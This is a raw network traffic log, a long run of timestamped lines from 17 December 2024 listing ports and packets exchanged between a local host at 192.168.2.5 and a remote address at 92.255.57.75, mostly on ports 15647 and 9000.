Dec 17, 2024 08:40:27.468245029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.468662024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.469973087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.471179008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.471257925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.485780954 CET	9000	50061	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.487551928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.489851952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.493432045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.493908882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.499902964 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.509994984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.515892029 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.532577991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.541802883 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.543870926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.543942928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.553822041 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.553875923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.554001093 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.569967985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.574882030 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.588176012 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.590306997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.591109991 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.591181993 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.599242926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.599560976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.607526064 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.611217976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.619863033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.620045900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.628962994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.628998995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.629049063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.633919001 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.633987904 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.634063005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.637517929 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.637542963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.637679100 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.652462006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.652534008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.668544054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.668603897 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.671128988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.671166897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.671214104 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.685941935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.691855907 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.696322918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.696603060 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.697705030 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.697750092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.697770119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.697958946 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.710861921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.710977077 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.719836950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.720345974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.734009027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.734186888 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.734724045 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.734775066 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.734785080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.734823942 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.748838902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.750252008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.757503033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.757668972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.758944988 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.758981943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.759011984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.759028912 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.781840086 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.781919003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.789937019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.790081024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.790354013 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.811852932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.811950922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.818726063 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.818829060 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.818890095 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.825912952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.825972080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.840198994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.843841076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.845460892 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.845951080 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.856288910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.856353045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.860598087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.860658884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.876669884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.876765013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.876802921 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.901655912 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.901738882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.903191090 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.903254986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.919785976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.919878006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.919881105 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.930563927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.930672884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.931284904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.932086945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.938987970 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.939055920 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.941186905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.941267014 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.941298962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.963977098 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.964128971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.976203918 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.976281881 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.977520943 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.977721930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.977741003 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.977961063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.979448080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.979525089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.990880966 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:27.990964890 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:27.990972042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.004637957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.004729986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.022912979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.023000002 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.030623913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.030684948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.030688047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.030755997 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.032166004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.032224894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.051050901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.051224947 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.051660061 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.051687002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.051733971 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.061069965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.061132908 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.094954967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.097959995 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.098467112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.098660946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.098778963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.098967075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.112255096 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.113946915 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.122976065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.123058081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.143141985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.143353939 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.147869110 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.147908926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.147957087 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.147981882 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.152108908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.155925035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.155997038 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.181884050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.181958914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.184149981 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.223340034 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.223459959 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.243838072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.243907928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.244162083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.245019913 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.270905972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.273929119 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.274090052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.274285078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.298474073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.298604012 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.298649073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.330010891 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.340713024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.341909885 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.343169928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.343185902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.345854998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.364173889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.365221977 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.367893934 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.391329050 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.392015934 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.395042896 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.395196915 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.395350933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.414115906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.414205074 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.418076992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.427288055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.429992914 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.442353010 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.442394018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.442673922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.449954033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.462956905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.463042021 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.463047028 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.463182926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.464704037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.488317013 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.490691900 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.511490107 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.511611938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.519404888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.519431114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.522294998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.535443068 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.549746990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.549850941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.567997932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.583389997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.584297895 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.585983038 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.586494923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.604954958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.621927977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.632613897 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.632716894 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.634871006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.636745930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.645324945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.645432949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.664211988 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.669720888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.669812918 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.684541941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.684642076 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.684740067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.684813976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.686132908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.686208010 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.687943935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.688029051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.693850040 CET	9000	50061	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.694016933 CET	9000	50061	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.694148064 CET	50061	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.695353985 CET	50061	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.704478025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.704581022 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.709187031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.709275961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.709281921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.725119114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.726046085 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.743385077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.743479967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.754770994 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.755286932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.766848087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.767102003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.777982950 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.778192043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.779380083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.779391050 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.779438972 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.784235954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.803375959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.803491116 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.806262016 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.806368113 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.807343006 CET	50062	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.808708906 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.808851004 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.815113068 CET	9000	50061	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.823496103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.823570967 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.829282999 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.829370975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.834074974 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.834134102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.834147930 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.863467932 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.863554001 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.876230955 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.877924919 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.897480011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.897598982 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.900850058 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.900928974 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.926182032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.926294088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.927778006 CET	9000	50062	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.930046082 CET	50062	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.930087090 CET	50062	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.943387032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.943629980 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.953947067 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.954060078 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.954893112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.954905033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:28.954973936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.977006912 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.996732950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:28.997791052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.013860941 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.020762920 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.021119118 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.021270990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.021383047 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.021456003 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.025460005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.025532961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.025556087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.025994062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.049956083 CET	9000	50062	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.061389923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.061597109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.061676025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.063021898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.063179016 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.063575983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.065146923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.065184116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.065206051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.079361916 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.079399109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.079462051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.097328901 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.097397089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.101560116 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.101588011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.101608992 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.116614103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.117011070 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:29.120718956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:29.122766972 CET	15647	49998	92.255.57.75	192.168.2.5
